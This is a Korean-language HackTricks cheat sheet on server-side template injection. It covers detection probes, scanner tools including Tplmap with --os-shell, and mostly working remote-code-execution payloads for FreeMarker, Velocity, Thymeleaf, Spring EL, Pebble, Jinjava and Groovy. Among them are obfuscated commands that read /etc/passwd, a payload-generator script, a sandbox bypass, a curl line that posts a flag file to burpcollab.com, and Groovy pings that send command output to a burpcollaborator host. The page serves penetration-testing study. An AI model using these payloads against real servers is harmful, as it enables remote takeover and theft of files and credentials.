SSTI (Server Side Template Injection)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

SSTI (Server-Side Template Injection)๋ž€ ๋ฌด์—‡์ธ๊ฐ€

Server-side template injection์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋˜๋Š” ํ…œํ”Œ๋ฆฟ์— ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์„ ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ Jinja๋ฅผ ํฌํ•จํ•œ ๋‹ค์–‘ํ•œ ๊ธฐ์ˆ ์—์„œ ๋ฐœ๊ฒฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Jinja๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ธ๊ธฐ ์žˆ๋Š” ํ…œํ”Œ๋ฆฟ ์—”์ง„์ž…๋‹ˆ๋‹ค. Jinja๋ฅผ ์‚ฌ์šฉํ•œ ์ทจ์•ฝํ•œ code snippet์„ ๋ณด์—ฌ์ฃผ๋Š” ์˜ˆ๋ฅผ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค:

output = template.render(name=request.args.get('name'))

์ด ์ทจ์•ฝํ•œ ์ฝ”๋“œ์—์„œ๋Š” ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์—์„œ ์ „๋‹ฌ๋œ name ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ render ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด ํ…œํ”Œ๋ฆฟ์œผ๋กœ ์ง์ ‘ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ name ํŒŒ๋ผ๋ฏธํ„ฐ์— ์•…์˜์ ์ธ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ server-side template injection์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ payload๋ฅผ ํฌํ•จํ•œ ์š”์ฒญ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.

ํƒ์ง€

Server-Side Template Injection (SSTI)๋ฅผ ํƒ์ง€ํ•˜๋ ค๋ฉด, ์ดˆ๊ธฐ์—๋Š” fuzzing the template๊ฐ€ ๊ฐ„๋‹จํ•œ ์ ‘๊ทผ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด๋Š” ํ…œํ”Œ๋ฆฟ์— ํŠน์ˆ˜ ๋ฌธ์ž ์‹œํ€€์Šค(${{<%[%'"}}%\)๋ฅผ ์ฃผ์ž…ํ•˜๊ณ , ์ผ๋ฐ˜ ๋ฐ์ดํ„ฐ์™€ ์ด ํŠน์ˆ˜ ํŽ˜์ด๋กœ๋“œ์— ๋Œ€ํ•œ ์„œ๋ฒ„ ์‘๋‹ต์˜ ์ฐจ์ด๋ฅผ ๋ถ„์„ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝ์„ฑ์˜ ์ง•ํ›„๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์—๋Ÿฌ ๋ฐœ์ƒ โ€” ์ทจ์•ฝ์„ฑ์„ ๋“œ๋Ÿฌ๋‚ด๊ณ  ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Œ.
  • ๋ฐ˜์‚ฌ(reflection)์—์„œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์—†๊ฑฐ๋‚˜ ์ผ๋ถ€๊ฐ€ ๋ˆ„๋ฝ๋จ โ€” ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ์ผ๋ฐ˜ ๋ฐ์ดํ„ฐ์™€ ๋‹ค๋ฅด๊ฒŒ ์ฒ˜๋ฆฌํ•จ์„ ์˜๋ฏธ.
  • Plaintext Context: ์„œ๋ฒ„๊ฐ€ ํ…œํ”Œ๋ฆฟ ํ‘œํ˜„์‹์„ ํ‰๊ฐ€ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์—ฌ XSS์™€ ๊ตฌ๋ถ„ (์˜ˆ: {{7*7}}, ${7*7}).
  • Code Context: ์ž…๋ ฅ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ณ€๊ฒฝํ•ด ์ทจ์•ฝ์„ฑ์„ ํ™•์ธ. ์˜ˆ๋ฅผ ๋“ค์–ด, http://vulnerable-website.com/?greeting=data.username์—์„œ greeting์„ ๋ณ€๊ฒฝํ•ด ์„œ๋ฒ„ ์ถœ๋ ฅ์ด ๋™์ ์ธ์ง€ ๊ณ ์ •์ธ์ง€ ํ™•์ธ. ์˜ˆ: greeting=data.username}}hello๊ฐ€ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ๋ฐ˜ํ™˜ํ•˜๋Š”์ง€ ํ™•์ธ.

์‹๋ณ„ ๋‹จ๊ณ„

ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์‹๋ณ„ํ•˜๋ ค๋ฉด ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋ฅผ ๋ถ„์„ํ•˜๊ฑฐ๋‚˜ ์–ธ์–ด๋ณ„ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ˆ˜๋™์œผ๋กœ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค. ์—๋Ÿฌ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ์ผ๋ฐ˜ ํŽ˜์ด๋กœ๋“œ๋กœ๋Š” ${7/0}, {{7/0}}, <%= 7/0 %> ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ˆ˜ํ•™ ์—ฐ์‚ฐ์— ๋Œ€ํ•œ ์„œ๋ฒ„์˜ ์‘๋‹ต์„ ๊ด€์ฐฐํ•˜๋ฉด ํŠน์ • ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์ขํ˜€๊ฐˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŽ˜์ด๋กœ๋“œ๋กœ ์‹๋ณ„

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

์ด ์ธํ„ฐ๋ž™ํ‹ฐ๋ธŒ ํ…Œ์ด๋ธ”์€ ๊ฐ€์žฅ ํšจ์œจ์ ์ธ template injection polyglots์™€ 44๊ฐœ์˜ ๊ฐ€์žฅ ์ค‘์š”ํ•œ template engines์˜ ์˜ˆ์ƒ ์‘๋‹ต์„ ํ•จ๊ป˜ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Exploits

์ผ๋ฐ˜

In this wordlist you can find variables defined in the environments of some of the engines mentioned below:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - ์‹œ์Šคํ…œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ๊ฐ€์ ธ์˜ค๊ธฐ

${T(java.lang.System).getenv()}

Java - /etc/passwd ๊ฐ€์ ธ์˜ค๊ธฐ

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

payloads๋ฅผ https://try.freemarker.apache.org์—์„œ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

โš ๏ธ Freemarker ๋ฒ„์ „ 2.3.30 ๋ฏธ๋งŒ์—์„œ๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

์ถ”๊ฐ€ ์ •๋ณด

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

์ถ”๊ฐ€ ์ •๋ณด

Thymeleaf

Thymeleaf์—์„œ๋Š” SSTI ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•  ๋•Œ ํ”ํžˆ ${7*7} ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ด ํ…œํ”Œ๋ฆฟ ์—”์ง„์—์„œ๋„ ๋™์ผํ•˜๊ฒŒ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ž ์žฌ์ ์ธ remote code execution์„ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf๋Š” ์ด๋Ÿฌํ•œ ํ‘œํ˜„์‹์„ ํŠน์ • ์†์„ฑ(attribute) ์•ˆ์— ์œ„์น˜์‹œ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ _expression inlining_์€ [[...]] ๋˜๋Š” [(...)] ๊ฐ™์€ ๋ฌธ๋ฒ•์„ ์‚ฌ์šฉํ•ด ๋‹ค๋ฅธ ํ…œํ”Œ๋ฆฟ ์œ„์น˜์—์„œ๋„ ์ง€์›๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ฐ„๋‹จํ•œ SSTI ํ…Œ์ŠคํŠธ ํŽ˜์ด๋กœ๋“œ๋Š” [[${7*7}]]์ฒ˜๋Ÿผ ๋ณด์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์ด ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์„ฑ๊ณตํ•  ๊ฐ€๋Šฅ์„ฑ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋‚ฎ์Šต๋‹ˆ๋‹ค. Thymeleaf์˜ ๊ธฐ๋ณธ ์„ค์ •์€ ๋™์  ํ…œํ”Œ๋ฆฟ ์ƒ์„ฑ์„ ์ง€์›ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ํ…œํ”Œ๋ฆฟ์€ ๋ฏธ๋ฆฌ ์ •์˜๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž๋Š” ๋ฌธ์ž์—ด๋กœ๋ถ€ํ„ฐ ํ…œํ”Œ๋ฆฟ์„ ์ฆ‰์‹œ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์ž์ฒด TemplateResolver๋ฅผ ๊ตฌํ˜„ํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์ด๋Š” ๋“œ๋ฌธ ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค.

Thymeleaf๋Š” ๋˜ํ•œ _expression preprocessing_์„ ์ œ๊ณตํ•˜์—ฌ, ์ด์ค‘ ๋ฐ‘์ค„(__...__)๋กœ ๋‘˜๋Ÿฌ์‹ธ์ธ ํ‘œํ˜„์‹์ด ์‚ฌ์ „ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ ํ‘œํ˜„์‹์„ ๊ตฌ์„ฑํ•  ๋•Œ ํ™œ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ž์„ธํ•œ ๋‚ด์šฉ์€ Thymeleaf ๋ฌธ์„œ์— ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

#{selection.__${sel.code}__}

Thymeleaf์˜ ์ทจ์•ฝ์  ์˜ˆ์‹œ

๋‹ค์Œ ์ฝ”๋“œ ์Šค๋‹ˆํŽซ์€ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

์ด๋Š” template engine์ด ์ด๋Ÿฌํ•œ ์ž…๋ ฅ์„ ๋ถ€์ ์ ˆํ•˜๊ฒŒ ์ฒ˜๋ฆฌํ•  ๊ฒฝ์šฐ remote code execution์œผ๋กœ ์ด์–ด์ ธ ๋‹ค์Œ๊ณผ ๊ฐ™์€ URLs์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

์ถ”๊ฐ€ ์ •๋ณด

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

ํ•„ํ„ฐ ์šฐํšŒ

์—ฌ๋Ÿฌ ๋ณ€์ˆ˜ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ${...}๊ฐ€ ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฉด #{...}, *{...}, @{...} ๋˜๋Š” ~{...}๋ฅผ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”.

  • /etc/passwd ์ฝ๊ธฐ
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • payload ์ƒ์„ฑ์šฉ Custom Script
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

์ถ”๊ฐ€ ์ •๋ณด

Spring View ์กฐ์ž‘ (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble์˜ ์ด์ „ ๋ฒ„์ „( < ๋ฒ„์ „ 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble์˜ ์ƒˆ ๋ฒ„์ „:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava๋Š” Hubspot์—์„œ ๊ฐœ๋ฐœํ•œ ์˜คํ”ˆ ์†Œ์Šค ํ”„๋กœ์ ํŠธ๋กœ, ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/HubSpot/jinjava/

Jinjava - Command execution

์ˆ˜์ •๋จ: https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

์ถ”๊ฐ€ ์ •๋ณด

Hubspot - HuBL (Java)

  • {% %} ๋ฌธ์žฅ ๊ตฌ๋ถ„์ž
  • {{ }} ํ‘œํ˜„์‹ ๊ตฌ๋ถ„์ž
  • {# #} ์ฃผ์„ ๊ตฌ๋ถ„์ž
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - โ€œAโ€
  • {{'a'.concat('b')}} - โ€œabโ€
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

โ€œcom.hubspot.content.hubl.context.TemplateContextRequestโ€œ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋ฉด Jinjava project on Github๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

์ถ”๊ฐ€ ์ •๋ณด

Expression Language - EL (Java)

  • ${"aaaa"} - โ€œaaaaโ€
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL)์€ ํ”„๋ ˆ์  ํ…Œ์ด์…˜ ๊ณ„์ธต(์˜ˆ: ์›น ํŽ˜์ด์ง€)๊ณผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋กœ์ง(์˜ˆ: managed beans) ์‚ฌ์ด์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๋Š” ๊ธฐ๋ณธ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. EL์€ ์ด๋Ÿฌํ•œ ํ†ต์‹ ์„ ๊ฐ„์†Œํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ JavaEE ๊ธฐ์ˆ  ์ „๋ฐ˜์—์„œ ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. EL์„ ์‚ฌ์šฉํ•˜๋Š” ์ฃผ์š” JavaEE ๊ธฐ์ˆ ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • JavaServer Faces (JSF): EL์„ ์‚ฌ์šฉํ•˜์—ฌ JSF ํŽ˜์ด์ง€์˜ ์ปดํฌ๋„ŒํŠธ๋ฅผ ๋ฐฑ์—”๋“œ ๋ฐ์ดํ„ฐ ๋ฐ ์•ก์…˜์— ๋ฐ”์ธ๋”ฉํ•ฉ๋‹ˆ๋‹ค.
  • JavaServer Pages (JSP): JSP ๋‚ด์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ ‘๊ทผํ•˜๊ณ  ์กฐ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด EL์ด ์‚ฌ์šฉ๋˜๋ฉฐ, ํŽ˜์ด์ง€ ์š”์†Œ๋ฅผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐ์ดํ„ฐ์— ์—ฐ๊ฒฐํ•˜๊ธฐ ์‰ฝ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • Contexts and Dependency Injection for Java EE (CDI): EL์€ CDI์™€ ํ†ตํ•ฉ๋˜์–ด ์›น ๊ณ„์ธต๊ณผ managed beans ๊ฐ„์˜ ์›ํ™œํ•œ ์ƒํ˜ธ์ž‘์šฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜์—ฌ ๋” ์ผ๊ด€๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ตฌ์กฐ๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์—ฌ EL ์ธํ„ฐํ”„๋ฆฌํ„ฐ์˜ ์•…์šฉ์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด์„ธ์š”:

EL - Expression Language

Groovy (Java)

๋‹ค์Œ Security Manager ์šฐํšŒ ๊ธฐ๋ฒ•๋“ค์€ ์ด writeup์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

